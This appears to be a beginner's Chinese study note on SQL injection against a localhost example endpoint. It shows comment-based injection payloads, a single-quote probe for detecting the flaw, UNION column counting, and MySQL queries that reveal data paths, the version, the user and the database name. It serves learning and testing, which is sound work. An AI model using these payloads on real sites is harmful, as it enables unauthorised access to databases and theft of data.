sql injection base---first day
1.sql注入的第一步,尝试拿到隐藏数据
比如接口为
http://localhost:80/getUser/list?userName='xiaotaozi'&status=1
那么我们可以尝试直接
http://localhost:80/getUser/list?status=1
如果拿到数据了,我们再尝试
http://localhost:80/getUser/list?userName='xiaotaozi'
之后再尝试
http://localhost:80/getUser/list?status=0
或者也可以尝试,前端输入内容为xiaotaozi'-- ,因为数据库一般来说是通过两种方式来进行注释第一种为-- (--加空格),另一种为#符号注解
http://localhost:80/getUser/list?userName='xiaotaozi'-- '&status=1
http://localhost:80/getUser/list?userName='xiaotaozi'# '&status=1
备注:当然在前后端交互的时候需要注意的就是可能需要进行编码格式的转换,比如有base64(urldecode)
如果要看网站有没有sql注入,直接输入一个',如果输入(')报语法错误,基本上这个网址就存在SQL注入
2.union
比如我们通过页面信息猜测后面SQL的查询语句为
select id,name,age,address from sys_user where name='xiaotaozi'
那么我们可以根据union来判断查询sql的字段数量
select id,name,age,address from sys_user union select;
select id,name,age,address from sys_user union select 1;
select id,name,age,address from sys_user union select 1,2;
select id,name,age,address from sys_user union select 1,2,3,4;得到的数据如下图所示
然后我们看到了union下面的内容显示出来,我们可以通过特殊的函数来查看,如下面
SELECT @@datadir;-- 打印存储的路径
SELECT @@basedir;-- 查看安装路径
SELECT @@version_compile_os;-- 查看安装系统
SELECT version(); -- 查看数据库版本
SELECT NOW();查询实时数据库时间
SELECT * FROM user_test UNION SELECT 1,USER(),VERSION(),DATABASE(),@@basedir;